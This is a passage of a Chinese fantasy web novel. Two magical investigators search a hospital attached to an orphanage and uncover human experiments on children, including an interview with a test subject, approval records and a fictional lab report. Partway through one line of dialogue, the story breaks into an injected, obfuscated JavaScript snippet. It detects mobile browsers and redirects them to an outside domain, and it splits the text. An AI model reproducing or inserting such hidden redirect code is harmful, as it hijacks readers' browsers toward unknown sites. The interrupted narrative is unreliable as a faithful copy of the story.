“你是外面来的!”她惊奇地说,“你是外面来的,但是却能做到,你既不是那些护士,也不是我的同胞!” 这样说完以后她猛盯着犬山晓所在的位置看,随即,她仿佛意识到了什么极大的喜悦事,神情在犬山晓看不见的思考之下越来越激动,原地蹦了一下之后又因为眩晕感有些站不稳,顺势就坐在了身后的床上。 “你为什么而来?为了我们吗?还是为了其它的什么?”那人气喘吁吁地问道,因为消瘦而显得异常大的眼眶被其主人再度撑开些许唯独。 “这得看你是谁,能回答我什么了,你有名字吗?”犬山晓问,她感到不适,对方身上那隐隐约约无法被病号服所象征之物遮住的异常气息是她不适应的,但对方身上那病弱儿童的特征又让她感到同情。 或许是孤儿院那边患有特殊疾病的儿童吧,犬山晓心里猜测。 “我是谁,我是RP-e315,我还能是谁呢?”RP-e315真情实感地苦恼起了这个问题,“我是第3批次第15个接受注射实验的,我是这一批中最年长的,我是有希望的,我是不被带走的。但我又是令人怀念的,又是能听见的,又是即将结束的。” 这些话说的不太完整,犬山晓察觉到对方的语句非常破碎,这或许是因为教育缺失或者智力的缘故,她放弃了这个问题。比起这些,对方话语中透露出的信息更让她在意,这里的孤儿院中的孩子在接受不明注射实验,她记下这件事。 “你说的实验指的是什么?你为什么入住这家医院?你为什么要问那些医生要危险的东西?”犬山晓问道。 “哎呀,这些我都要回答吗?”RP-e315苦恼地抓了抓头,“至少一个一个来吧?” “好吧,”犬山晓知道自己不能对孩子太严格,“那你为什么要拿些危险的东西?” “反正她们也不会给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759205|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我我想要的东西,又每次都问我想要什么,我说了什么都一样啦。”RP-e315撇了撇嘴。 “那你为什么主动要这种东西呢?”犬山晓问道,她的心里其实对这个问题有些猜想。 “因为,”RP-e315忽然放轻了声音,秘密吐露,“因为我想跑出去。” “出去是指医院吗?还是孤儿院?”犬山晓追问,答案不出她所料。 “不对不对,应该轮到我问问题了,不能只有我一个人回答问题!”RP-e315义正严辞地伸出一根手指说。 “好吧,你想问什么?”犬山晓无奈地说。 “那先让我看看你长什么样吧?”RP-e315表情得有些期待。 “你的房间里有监控摄像头,我不能被看见。”犬山晓摇了摇头。 RP-e315听罢迅速地站了起来往浴室的地方走去,浴室和病房之间有不带把手也不带锁的推门,她抵住门意示犬山晓跟上,待她进入浴室后又往淋浴区走去,拉开浴帘让犬山晓进去。 “这个里面没有摄像头哦!”RP-e315说。 犬山晓看着那狭小的淋浴区有些反感,但她还是跟了上去走进领域区内,和RP-e315一起屈起腿在瓷砖面上坐下,冰凉的触感传来,RP-e315期待地看向她,那双眼珠漆黑,里面什么都没有倒映。 随后犬山晓发现自己依旧能使用魔法,对这一情况保持警惕,她做好准备后解除了隐身。 “…你和我,和我们都不一样。”RP-e315看了好一会才说,“明明气息是相似的,你为何这样不同呢?你的头发好黑,眼睛红红的,手臂上也没有疤。” 犬山晓心想对方所说的气息大概是指魔法气息,她不打算细细地解释这一点。 “每个人都是不一样的,好了,该我问问题了,”犬山晓说,“你说的实验是指什么?” “就是我们排队,被打针,然后待在白色的房间里被看着被问问题,就是这样了。”RP-e315心不在焉地说。 “好吧,”犬山晓意识到她问这种问题是一种错误,“你知道你打针的提供者的名字,或者给你打针的人的名字吗?” 而RP-e315则是盯着她不说话,二人距离很近,犬山晓甚至看见对方眼底的红血丝。 “我不知道,这些我都不知道,40年以前我们就不被允许知道这些东西了。”RP-e315说,“你是为了调查什么来找我的?要跑进这里可不容易吧。” “我的伙伴们和我被袭击,对方会对城市和人们造成很大的危害,并且很会躲藏,我们一路查调查到了这里,希望能找到有用的线索。”犬山晓说。 “我知道了!”RP-e315忽然说道,“你要调查的就是那些带走我的同胞的人对不对?” “你知道些什么吗?”犬山晓意外。 “如果你要找我的同胞们所在的位置我可以告诉你,那些人的信息我也知道,你想做什么我也无所谓,但你得帮我做一件事。”RP-e315又靠近了一些。 “什么?”犬山晓贴着后方的墙壁,她对这突如其来的情报大放送保持警惕。 “你要带我出去,不被任何人发现,然后带我去一个地方。”RP-e315声音非常轻,像是在分享一个秘密。 “去哪里?我没办法带你去什么很远的地方。”犬山晓觉得对方即使是孤儿也不会突然消失而不受重视。 “不是很远的地方,就在附近,就在这里的正下方,我知道怎么去!”RP-e315激动地说。 “那你自己过去不就好了?”犬山晓忍不住反问。 “我就是没办法自己去才问你的呀?”RP-e315换上一副怎么这也要我解释的不耐烦语气,眼睛也烦躁地眯了起来,“我根本没办法离开这个房间,出院后会被直接带回那里去,根本没有机会自己行动。” 她未曾添加悲观情绪作为佐料,事实如此。 “好吧好吧,”犬山晓耐心地问,“你是想去哪里?” “血湖,你能听见,能闻到吗?你应该能才对。”RP-e315本就圆睁的眼睛此时更大了,眼珠近乎凸起,似乎这样能让她看见自己想看见的东西,“在这些建筑的下面,医院的下面,孤儿院的下面,实验室的下面,有一片湖。” 这样的说法很快让犬山晓想起来电梯上那未被标注出来的按钮,而血湖是一个陌生的名字,听上去像是个地下河。 “你想知道的我都可以告诉你,那些东西你绝对没办法从别人口里知道!”RP-e315急切地推销自己,“带走我的同胞的人,那些人做的事情,没有人会比我更清楚了!我可是仅次于第一目击证人的!” “真的吗?”犬山晓怀疑地看向RP-e315,她很难相信这样一个十岁左右的孩子能知道那么多,对方更像是为了达成目的而选择口不择言。 “…我并不是你所看见的那样年轻,这幅样貌是实验的副作用。”RP-e315顿了顿说,“我在第三批次中最为年长,离第一次注射到现在已经有18年了。” 这番话让犬山晓一时愣住,RP-e315继续解释,谈及这些话她身上孩子气的那一面尽数消失,取而代之的是一种冷漠与不耐交织的感情。 “同批次中我本来是表现最好的,但最后我的结果数值不满足要求,于是我便一直接受注射和观察直到现在。”RP-e315说话间有些烦躁,“现在不知道为什么突然有人注意到我,但我已经快抵达使用期限,于是那边本着不浪费的原则加大了我的注射剂量观察反应,这是我这个月第三次来这里入住了。” “你,”犬山晓感觉自己的喉咙有些干,“你是Evo人体实验的失败试验品。” “失败说的可真是伤人,不过总的来说确实是这样。”RP-e315反倒笑了起来,孩子般天真无邪,“不过那些我都不在乎,外面的人也好实验也好,对我来说又算得了什么呢?你会像那些灵魂口中的大善人那样怜悯我吗?那你帮帮我吧!” 而犬山晓则无法不在乎,她想说些什么但又不知道如何开口。RP-e315的脸与人造魔物那镶嵌在颈部的头颅重合在了一起,幻觉让她感到头晕目眩。 这串代号象征着她曾经全部的人生,作为试验品,接受实验等待被拣选,因为没有被挑中又不愿被彻底放弃而在苍白的空间内度过日复一日的18年,直到现在又因为想要物尽其用而面临死亡。 想起自己之前对对方的想法,犬山晓的内心被愧疚与恐惧刺痛。 “怎么不说话了?”RP-e315抬手摸向犬山晓僵硬的面孔,捏了捏,“真奇怪,你为何与我们不同呢?” 因为她的魔力来源并不是实验,犬山晓心里回答,却说不出口。 “说说怎么去血湖吧。”犬山晓无力地转移了话题。 “很简单的!你如果是从电梯上来的话就能看见一个最底下的按钮吧?那就是通往地下通道的按钮。”RP-e315恢复了一开始的激动语气,“我知道好几栋楼都有通往底层的通道,并且通道之间是连通的!” “连通的?”犬山晓在脑内设想了一下,“这种地方不应该只有一个隐藏的通道吗?” “不是哦!”RP-e315摇了摇手指,“这些通道都通往血湖的大门之面,那里也存放着RP-d,很多人都能去这里,但只有院长可以通过通行限制去血湖岸边呢。” “这个又是什么?这个代号是不是有什么意义之类的。”犬山晓觉得有点头晕。 “RPRP就是指血湖,RP开头的编号即为以血湖为基础的实验编号!”RP-e315介绍说,“这些都是很久很久以前定下的,像我之前说的,我也不知道具体原因和意义啦。” “那你又是怎么知道这么多的?”犬山晓怀疑地问。 “这里是不是该我问问题了呀?”RP-e315摸了摸脑袋,“不过算了,就告诉你吧!是因为我的魔力天赋。我拥有天赋但一直无法直接输出魔力,这就是为什么我没有被带走也没有离开实验室。” “那是指什么?”在这里听到魔力的犬山晓愣了愣。 “什么指什么?总之我的魔力天赋让我可以听见一些奇怪的声音,一开始只是偶尔能听见,之前的一次实验之后我就能听见血湖在和我说话了,最近更是能直接和它聊天了哦!”RP-e315高兴地说,很明显她非常得意于这一点。 “你是说特征吗?”犬山晓意识到这一点,“你的特征是能听见血湖说话,血湖有意识吗?” “差不多啦!血湖确实有意识,不过我之前提到的的并不是血湖的意识所说的东西,最近和我聊天的倒可能是。”RP-e315回忆着说,“那些存在说话的方式虽然非常混乱,但听久了就能总结出来一些信息。血湖也是,她很少说些什么让我听。” “你们都聊了什么?”犬山晓好奇地问。 “我问了外面都有什么,可血湖似乎也没去过外面,我又问为什么我能听见那些声音,血湖解释那是因为我听见的是我曾经的同胞们的灵魂。以及,被倾倒在血湖中的那些人的灵魂,它们一直在血湖中做着梦,我听见的就是那些梦话。”RP-e315回忆起这些脸上洋溢着幸福的微笑。 “灵魂吗?”犬山晓想起了森山寺未雅的特征似乎也和灵魂有关,但她其实并不理解这个概念到底是什么,也不想在这个时候了解,“血湖到底是个什么样的存在呢。” “我想,血湖是所有试验品的母亲。”RP-e315垂眼轻声说,带着憧憬的羞涩笑容,“我们因她诞生,受苦,又会回到她之中去的。” 这样的表情出现在她脸上实在是太不伦不类了,犬山晓一愣,明白这感觉是因为对方没有露出这种笑容的理由,苍白的人没有理由理解这种感觉。 “你们难道并不是被人生出来的吗?”犬山晓皱着眉说。 “我还真不知道,有意识起我就没有见过任何人的父母出现。”RP-e315说起这些话并不悲伤,但手脚稍微蜷缩了起来。 “那你聊了几句之后就这样认定那从来没见过的一片湖就是你的母亲了吗?”犬山晓忍不住质疑,“你都这样了,就没有考虑过自己的母亲的存在?” “你不会理解那种感觉的,所以我不会怪你。”RP-e315的头搁置在膝盖上,一直用力睁开的双眼此刻缓缓合拢,缓声说道,“况且我死后大概也是要回到那片湖里的,大家都这样沉下去,所以我想在活着的时候就去看看。” 犬山晓无话可说,她确实无法想象以血湖为名的什么要如何成为人的母亲,但她认为自己不该去质疑RP-e315,一个明明所有人生可以用几句话概括完,却又有着无人能理解的,哪怕抛下那短暂人生中所有的一切都想要达成的目标的实验品。 又或许就是因为之前的人生很短暂短暂才抛弃得额外地果断吗? “我会想办法帮你出去的。”犬山晓只能说自己的打算,“不过在那之前我还有些别的东西要调查。血湖可能也和我要调查的目的相关吧。” 若是RP-e315说的并非全然是梦话,那么或许那些天使的实验素材之一就是那个名为血湖的东西,犬山晓这样想着,将线索都记了下来。 “真的吗?太好啦!”RP-e315一下子凑到犬山晓眼前来,眼珠都要贴到她的鼻尖了,“我到时候一定会和她说你有帮我的。” “你过去就是为了和她聊天吗?”犬山晓无奈地轻轻推开对方的脑袋说。 “我也不知道我要做什么,之前有人活着的时候走进了血湖,然后把大家都吵醒了。”RP-e315撇了撇嘴,“那样很不好吧?不过我正好要死了。” “…总之先告诉我都有谁能去地下层,还有地下层的通行要如何解除。”犬山晓说。 “我知道楼下的坐在一楼桌子后面的人有一些手上会有,但只有院长能去血湖那里。”RP-e315说。 “我们确实要去院长那里一趟,那我之后今天晚些时候再来找你。”犬山晓点了点头。 “你要去找她?找博蒙?”RP-e315露出了准备恶作剧般的笑容,“那等你回来,我就告诉你关于她的惊天大秘密吧!你一定记得要回来找我,这个秘密除了我可没人知道!” “那就约好了。”犬山晓点头。 重新使用隐身魔法后,犬山晓离开这一层找机会回到了一楼,观察了不久后在信息台处看见了在与其它护士聊天的管理员身上挂着的有些不同的钥匙卡,那就是她的目标。等到那管理员回到自己的办公室,犬山晓跟了上去。 办公室内,管理员非常随意地将钥匙卡丢在了桌上,并转身整理起了自己的公文包,明明正午刚过不久就一副要下班了的样子。犬山晓跟着对方一路离开住院楼,随后趁机从对方的包里拿到了钥匙卡。她收好钥匙卡后决定先前往与艾克里普汇合。 38.quattuor 艾克里普与犬山晓分开后前往了门诊楼,这栋楼看功能和人含量大概是医院里最热闹的一栋了,大厅里问问题的家属和病人们到处都是,吵闹之间,偶尔有工作人员推着小推车和担架走过。急诊和儿科门诊都在这栋楼的不同地区,除了人,不时有广播响起指示。 在这样拥挤的环境中人与人之间的距离是物理意义上的无法分开,艾克里普因嘈杂的声音和消毒水的味道皱起眉头,她走向路线指示台希望尽快找到目标离开这一地区。 门诊楼一共三层,除了一楼的预约付费和药房以外,大部分检验采样区都在二楼,诊断区则分布在二楼和三楼,各种临床科室和手术室都在一楼,有单独的动线指引。艾克里普并没有从中看到行政区域,推测其是在综合医疗楼。 值得她注意的是,医院的那水滴形奇怪标志在这里几乎是无处不在,上下电梯旁,半人高的立体雕塑站在那里凝视所有人或非人。 在确认自己暂时用不上身份这一工具之后,艾克里普找了个角落施展隐身魔法,迅速开始探查这栋楼内的各个区域。 门诊楼是外人最多的地方,艾克里普心里猜测对方并不会把不想被外人看到的东西放在能随意出入的区域,于是她将魔力探查的重点放在那些角落里,很快扫描到了一些内部物体密度较高的隐蔽的储藏室,她发现大部分是为了储存清洁物质资源的,每层都有一间。 探查之下她并没有在这栋楼发现可疑的隐藏的区域,但很快,下层的电梯旁收拾工具的清洁工们的聊天吸引了她的注意力。 “我们的储藏室也太小了吧,明明二楼员工最多,凭什么储藏室一样大啊?”带着手套准备擦电梯门的清洁工抱怨着同事效率问题。 “工具种类多了就占地方,谁叫这里一个设备要用五种清洁剂擦,下次申请一些新的储物柜好了。”正在擦扶梯扶手的清洁工头也不抬地回话。 “诶说起这个,二楼储藏间架子旁边那个保险柜真的很碍事吧,看着还挺贵的为什么放在我们这?”戴手套的清洁工好奇同事的身价。 “我哪知道?我来这上班之前那玩意就在那了,因为一直没人动,打不开也搬不动,放那还能当个小桌子吧,别管了吧那不是我们该管的。”擦电梯扶手的清洁工说。 “搬走换成柜子多好,诶你说,院长知道那里有个保险柜吗?”戴手套的清洁工好奇。 “你问我?”擦电梯扶手的员工抬头,“你戴个手套也耗时太久了吧?” 艾克里普觉得自己应该回去看看,她再次返回二楼储藏室,果然在角落里看到了那个被同事当作是小桌子用保险箱,老式保险箱的密码层靠着墙,随便一看根本看不出来是保险箱。 艾克里普将大概齐腰高的保险箱拿起,想了想后带着它进了角落卫生间内的残疾人专用大型隔间,此时空间内无人。 在使用隔音魔法后再次使用小范围切割攻击魔法,艾克里普小心地在不伤及内容物的情况下切开了保险箱,她将内容物一一取出,大部分都是文件,以及单独一小罐红黑色的大拇指手指节大小的材质不明的瓶子,上面标注着RP-d。艾克里普隔着玻璃瓶进行成分分析,其成分大概是血液,但细胞膜已不完整,血小板散开,简单来说就是过期了。除了大概成分以外的成分是已经失去活性的化学物质,具体成分不明。 这是一份不知为何与清洁工具存放在一起的被污染血液标本,已经被遗忘而且无效了,艾克里普判断后,下意识地准备将其收进了袖子里但放了个空,西装袖口狭窄,她更换了一下角度。接下来,她看向文件内容。 医疗申请审批 日期:1990年6月15日 编号:RP-H013 年龄:9岁 残疾类型与等级:脊柱裂并下肢瘫痪(二级) 初步诊断与建议:据神经外科诊断,脊柱裂伴随先天性马尾神经损伤,治疗需求脊柱闭合以及长期康复支持,以恢复部分自主排泄功能,需支架辅助行走。 评估:二次审批,康复可能性中等偏高,具未来独立生活潜力,占比超出拟用额度13%。 院长裁定:批准治疗 理由: 签字: 备注: 理由空白,签字模糊,艾克里普勉强辨认出首字母是M,34年的时间带走了部分信息。结合神脉医院附属孤儿院的存在,艾克里普辨认出这是用于裁定那些孤儿是否能够接受治疗的审批书。 姓名性别以及任何与个人相关的信息除去年龄之外都不被允许纳入裁定论证内,对一条生命能否存活的批判只用了不到半张A4纸,树的遗骸也一同泛黄,艾克里普难以去思考这其中重量的概念占据多少重量。她知道无论在哪本书,哪个领域的议题中人类的生命都不该是以这样的形式存在的,即使该生命还未被正式命名。荒谬之中,她思索不知这里是否存在着伦理法庭。 结合人体实验与天使的存在,艾克里普迅速得到了答案,这里没有,也不需要,哲学与宗教无法批判这里,这里嘲笑。 她垂眼,继续翻动接下来的审批报告书,内容大致相同,这位M院长从来不为自己的裁定填写理由和备注,既不表态也不在意自己的裁定是否合理。序号有出现重复,艾克里普猜测那些不被批准治疗的孩子们在死去之后会被收回编号再理由。 报告书最早可追溯到1989年,批准与宣判死刑的比率大概2:8,就评估而言,艾克里普认为判断的最大决定因素为康复可能性,超出中等就会有活下去的机会。可以1996年为一个节点,在此之后的审批结果可将比率拉到1:9,这是四舍五入后的结果,文件时间截止到1999年。 泛黄的打印纸已经有些脆弱了,但根据筷子守则,300张叠在一起的话本该可以做到些什么的。每个以RP-H开头的数字都会至少重复3次,仅几个未重复的数字,也并非是逃出生天的。艾克里普意识到300是一个需要乘以某个倍数的基数,而不是总数。 那些继续接受治疗但序号再次出现时年龄对不上的文件,评估高但依旧没有通过批准的文件,没有被判定为批准或不批准的文件,以及,没有被放在这里的文件,都去了哪里? 艾克里普再次取出了那个小玻璃瓶,RP-H与RP-D,为了效率使用的缩写省略了太多东西,她猜那其中也包括人性。她叹了口气,没有再去以非人之身批判人类的定义。 瓶子与文件被收好,艾克里普销毁保险箱残骸,离开了卫生间。魔力探测没再为她带来新的探查方向,于是她动身前往另一处建筑。 综合医疗楼的楼层指导上显示一楼和地下1-2楼是各种科室和辅助技术科室,二层是行政部门和研究教学中心。与门诊楼不同,这里上下楼需要乘坐需要钥匙卡的电梯,艾克里普等候了一会随着一位工作人员进了电梯,看着对方摁下了地下二层,发现在那之下还有一个没有标注的按钮。 虽然对此非常在意,但艾克里普还是先调查起了地下二楼。这里是后勤和机房区域,人很安静但是器械很吵,通常来说是禁止病人和访客进入的。 一路看过锅炉房,水泵房,主电机房,艾克里普都进去查看,与公立医院或者市区的小型私人诊所相比并没有多少特殊之处。她沿着通道往前走,通往停车场的灰色地下通道堵在前面,靠入口的工作台上摆着一些文件,是圣心物流的运输单,艾克里普用手机拍了下来。 随后她原路返回看见了医疗垃圾处理区,这里需要刷门卡才能入内,许久未能等到有工作人员进出,于是她先将这里记下,返回走向电梯口等待有人出入。 先是送一位护工工作人员回到了一楼,随后再次与另一位办公工作人员来到了了地下一层,这里是检验与影像中心,各种映像检验室和生物送检科都在这里,同时这里也是血液和冷藏药品的仓库。这一层与门诊区的急诊是相连的,有着只有工作人员才能进入的快速通道。 艾克里普希望找出西西路的信息中提到的体检所需要的区域,那不该与普通体检区域混在一起。工作人员进出频繁,门开了又关,她随意。 先是血库和药房,除去消毒水的味道和检验仪器,内多是试管和药物陈列整齐的架子,艾克里普快速扫过,并没有探查到异常情况。 接下来的中央检验科是人造物最为忙碌的工作区,各类仪器嗡嗡作响,令艾克里普想起了克拉拉的实验室。她快速检查了内部的仪器和可见的标签并拍了下来。这里的检验项目和门诊区域的体检项目能一一对上,同时大部分结果都用数据化的方式记录,艾克里普能找到的东西十分有限。但她没有放弃拍照,摄影课的经验告诉她画面越是空的情况越是不能放过任何小信息,同时,她聆听和观察了一番工作人员间的聊天。 “把上一批中那份转院出去又回来送检的样本提出来,管理人员的邮件说明不需要继续跟进了,研究结果不记入数据库中。目前为止的进程按流程销毁,通知D区卫生组。”一位工作人员发送的邮件被艾克里普看见了。 “收到,已通知D区。”收件工作人员很快发回了回复。 这个线索中“转院”的用词令艾克里普尤其在意,她先是将邮件内容记录了下来,随即开始思考D区是指哪里,这肯定是某个有着关键线索的地方。 “5%的特殊样本也会走到这一步啊,真是可惜。”发邮件的工作人员拉伸了一下肩颈,不经意地抱怨着,“不过对我们来说有什么能可惜的,哈哈。” “是说那个转院的吗?”带着防护眼镜的工作人员回头搭话说,“偶尔也有这样的情况,每年其实都有两三个吧,该说是水土不服吗?” “好不容易被带走了,因为特殊疾病而不得不转院回来什么的,对那个孩子肯定是毁灭性的打击吧。”发邮件的工作人员叹气,“听说会带那些孩子去大城市参与教育实验项目,老是不得不回到这里的话对两边来说都很麻烦吧。” “可不是,算算时间现在都快十岁出头了吧,这个年纪的孩子心思很敏感的。”带护目眼镜的工作人员说着看向了电脑屏幕,“一直待在这里会反而更好一些吗?” “就看那边是怎么想了,这里倒是一直提供医疗,但其它的也就没有了。”发邮件的工作人员翻了翻文件说,“不需要跟进是什么意思呢,当一个零件就是这点不好,想打听点消息都没有途径,你知道些什么吗?” “不知道。”戴护目镜的工作人员头也不回地说。 “需要保密的话就让我先道个歉,我只是好奇。”发邮件的工作人员说,“那我就往好处想吧,希望那孩子有被好心人收养。” “养孩子和养宠物可不一样啊。我真的就是不知道,我们一个等级,那孩子之前回来体检全程保密,面都没有漏过。”戴护目眼镜的工作人员说。 全程保密?艾克里普因为这一异常的保密手段感到压抑,体检并非是那么私密的行为,除非体检的人身份特殊,比如,亚贝琉西西路。 艾克里普推测这个被“转院”的孩子有大概率就是成为日之森教师之前的亚贝琉西西路,对方一定是也有着与状态固定魔法效果类似的手段,使她能够做到离开市区返回这里。 而其的面貌与工作人员口中的“十岁出头”的差异,也因与六十七号相似的“催化”手段补平了,艾克里普的脑中逐渐对这件事的过程有了个大概的猜想。 亚贝琉西西路曾经是神脉医院附属孤儿院的一员,或许也曾经代号为RP-H,她在十岁出头的年龄被带走并进行身体素质催化,后来不知道什么原因回到这里做了一次体检,之后被派往日之森作为老师担当监视者。 而这样的想法也使艾克里普回忆起了亚贝琉西西路作为人类的形象,除了她的朋友,人类之中并没有多少存在能引起她的思考。在亚贝琉西西路还是西西路老师的时候,她对其的印象也只不过是“老师之一”而已,没有前缀。 直到其因敌对行动出现在视野中,她这才将目光放在她这个人身上。 对学生没什么耐性,强装一副老师的样子,身上没有魔法的气息,直到死去为止都没有造成什么大的威胁,不知天使为何要大费周章将其灭口并且回收尸体。 于是现在,艾克里普终于注意到她的的存在时,她的形象才如同溺水多时的尸体一般在时间过境之后才缓缓浮出水面,用肿胀诉说着她过往的可能性与不幸。 “那个孩子现在怎么样了呢?不需要继续研究是不是因为她病好了呢?”发邮件的工作人员乐观地猜想道。 “…”戴防护眼镜的工作人员张了张嘴欲言又止,最后只是说,“可能是吧。” 没有人继续说话了。 艾克里普叹了口气,想起二人聊天中谈及的“清洁工”,想起地下一层的垃圾处理区域,她动身前往电梯并再次来到地下一层,现在这里的门被打开了。 垃圾处理区并不是丢垃圾的房间,而是将垃圾简单处理后后运送往垃圾车的工作间。天花板上有许多供垃圾袋通行的管道,靠墙的金属柜架上放着着各种专业的卫生处理工具,工具倒是不脏。同时艾克里普注意到房间内部有个可以按按钮后拉开的小门,门后是直径大概一米的圆形通道,不知通往何处。 此时房间内有三人在往身上套厚重的防护服,显然是接到了清理D区任务的工作人员,那些人一旁的工作推车上放着类似吸尘器的细长嘴工具以及一些艾克里普不认识的仪器,她转身,从远方把这些拍了下来。 三人穿戴整齐后,三个一模一样的黄色防护服人离开了垃圾处理间,缓慢前行。艾克里普跟了上去,几人一同前往电梯处,电梯前往地下二层。 哪怕是医院特供的大空间电梯此时都有些拥挤,安静也拥挤,艾克里普小心翼翼地贴着门站,门一打开就离开了空间。 几人一路经过各个区域一路来到地下一楼的最深处,指示灯镶嵌在大理石地砖上指引可以走也该走的路。途径的几个房间是临时病房,功能是临时观察病人,全都上了锁但门上有玻璃,艾克里普之前路过这里没有多做停留。 一人打开尽头那间房间的门,内部自动感应灯配合亮起,亮出的内在居然和从外部玻璃朝里看到的完全不同,艾克里普心中一惊,但很快她发现房间内并没有散发出魔力气息,那只是简单的障眼法。 三人沉默且默契地从工具车上取下各种工具,艾克里普趁几人行动之前将房间内的景象拍了下来。 房间与临时病房的面积差距不大,苍白空间内最为瞩目的存在是其中间靠内被金属支起直径大概一米左右的圆球,像个鱼缸,开口朝下。 艾克里普凑近后发现这个鱼缸是双层中空构造,主体为无颜色透明的复合型玻璃材料。朝下的那一方开口边缘有着密密麻麻的有序切口,双层中每一层中间都隐约能看到一些发黑污渍。圆球开口的正下方是手术床,一旁的手术用推车托着功能类似操控器的方形黑色仪器,艾克里普从近处给这些东西拍了张照就退开了。 房间内其它区域没什么与普通病床不同的地方,就多了一个空的封闭水箱,柜子里放着些瓶瓶罐罐和手术工具,全都没有标签,艾克里普给这些也拍了照。 工作人员熟练地使用各种工具清扫起了房间,艾克里普看着其中一人从推车中拿取了一个金属密封箱,形状有点像个罐头。并取出一个不明用途的方形仪器摆在下方,在一旁的操纵板上按了几个按钮,那圆球就开始发出声音。 那声音并不令人愉快,但艾克里普发现这个声音并不是人耳能捕捉的。那圆球开始发出声音后被放置在下方的仪器逐渐渗出了一些蓝色液体,那些液体一离开仪器就被圆球吸入进中间夹层中,随后雾化,毫不犹豫。不一会圆球夹层内的污渍被稀释的蓝色液体冲刷干净,工作人员再次摁下按钮,那些夹层内的液体就被反向传输进了仪器中。 超声波消失了。 工作人员把仪器塞进了之前那个箱子里,艾克里普意识到那仪器大概是个特殊容器。 与此同时其它两个工作人员的打扫和消毒也结束了,三人效率极高,不出五分钟就结束清洁工作准备离开这个房间了,艾克里普最后回头看了一眼房间内部就随着几人一起离开了。 几人全程没有任何语言交流,沉默地回到垃圾处理间内,将垃圾放进处理区后,一位工作人员将箱子整个取出,在那个房间内部的圆形通道旁的按钮按了一下,通道门向下移动露出黑漆漆的口子,箱子飞入其中,通道口自动关闭。 艾克里普心想这下面还有空间的话,那就肯定是电梯中没有标注的按钮代表的区域了。 心里怀揣着一些疑问,艾克里普转身离开这一层前往三楼。 三楼不仅仅存在教学研究室和院长办公室,也有资料室,但大多数资料室都需要刷钥匙卡,借阅资料也需要刷钥匙卡。 艾克里普低头看了看自己新鲜出炉的工作证,心里有了些想法。 综合医疗楼一楼大厅入口处,一位医院外来人员入内后左右张望了一番,意味寻找,看见信息台后向工作人员走了过去。 “你好,我是Evo公司的医药代表。”艾克里普笑着向工作人员出示工作证,展示照片,工作人员将手与侧脸分开,听见公司的名字后态度变得热情了些。 “德艾尔代表您好!请问有什么可以帮到您的?”工作人员问道。 “我一会要和院长面谈关于药物效果和研究偏向的信息,但我发现有部分补充资料缺失了,所以我想在这里的资料室找找看有没有可以用的,可以借用一下钥匙卡吗?”艾克里普说。 “当然可以,不过临时钥匙卡无法借阅资料离开资料室,只能现场查阅,您可以使用多功能区的扫描仪进行复印,或者在终端上搜寻是否有电子版的。”工作人员一边念着一边敲打键盘,很快递给艾克里普一张空白的钥匙卡,一面上写着临时资料室的字样。 “非常感谢!”艾克里普笑着接过并走向电梯,钥匙卡也同样作用于前往二楼的电梯按钮,但无法前往其它楼层。 二楼无人,刷卡进入资料室后,艾克里普一时也不知该从哪里查起。医院所属资料室大概日之森教学楼的主要教室那么大,内部书柜排列整齐,入口处左边有两台用于搜索的终端等候,再往前左边墙上有扇玻璃门,门内部是打印机和裁纸工具。 于是艾克里普回忆起启明星给的资料,决定从年份作为索引开始找寻找资料。 资料室中能找到的文件大多数是实验报告和医疗资料,亦或者专业书籍,这些都与她要寻找的信息无关。书架上的书籍按照类型分类,于是艾克里普转为在终端上搜索2000年的资料。 但可惜的是大概是因为那时医院处于重建阶段,2000年到2003年间可用的资料非常少,而且大多数都是与她要找的内容无关的东西,于是她将时间放宽到2000到2005年,资料肉眼可见地变多了起来。她快速地阅览那些文件的简介,很快注意到了一份没有署名和标题的实验记录报告,这种报备不全的报告数量总体来说并不少,但在时间限制之中的只有这么一份。 艾克里普根据指引走向其所在的地方,这里鲜少有人来,即使有玻璃隔层,内部的架子上也浮着一层灰。她很快找到了一个薄薄的文件夹,内容为三张被钉在一起的实验报告。 实验记录报告 实验主持人:Matora 受试对象:A 实验背景:1996年8月,受试对象因未经许可擅自接触未处理RP-D,确诊突发性 HB-D(类 MDS/慢性白血病表型),本次实验将观察目标清除污染可行性。 检测指标:RP-D血比值,骨髓 CD34? 克隆比,RRI,LDH,ECOG-PS。 实验所用剂量:RP-C 120 mg kg??辅以 rG-CSF 5 ?g kg??。 备注:实验室总管理人现因擅自行动勒令禁止接触实验室,由院长M代为转写。受试对象拒绝接受常规治疗。 实验过程记录: 实验编号:M-960820 日期:1996年8月20日实验内容:初步提纯治疗 结果:RP-D分子占比 42% → 38%;轻度溶血 (LDH 1.5×ULN)。对象表现初期缓和迹象,后迅速恶化。血液污染症状未明显改善。 备注:对象情绪抗拒,治疗配合度低。 实验编号:M-970312 日期:1997年3月12日实验内容:高频率剥离技术 结果:观察耦合无显信号 (RRI < 0.05),骨髓原始细胞=""> 备注:对象情绪抗拒,治疗配合度低。 实验编号:M-971205 日期:1997年12月5日实验内容:基因融合稳定实验 结果:RP-D浓度37%;患者发热、粒细胞 <0.5×10?> 备注:对象表现严重幻觉症状,情绪波动剧烈。研究组内部意见分裂。 实验编号:M-980627 日期:1998年6月27日实验内容:植入实验 结果:出现III级骨髓抑制,注射观察实验中止。对象体内排斥反应极端剧烈,身体状况进一步恶化。 备注:观察对象功能性血红蛋白进一步丢失。 实验编号:M-990214 日期:1999年2月14日实验内容:RP-c中和治疗观察 结果:无临床症状改善。 备注: 实验编号:M-991130 日期:1999年11月30日实验内容:提纯与融合治疗观察 结果:无成功疗效,对象生命迹象持续衰减。 备注: 实验编号:M-000615 日期:2000年3月25日实验内容:全身换血实验 结果:实验失败,观察结束。 结论与评估:受试者内源性衍生血红蛋白引发持续氧化应激,RP-D在高ROS环境下变性,目标波动的配位结构无法形成。本系列实验观察未能成功阻止对象A的RP-D污染导致的病情恶化,且所有尝试治疗方案均告失败。 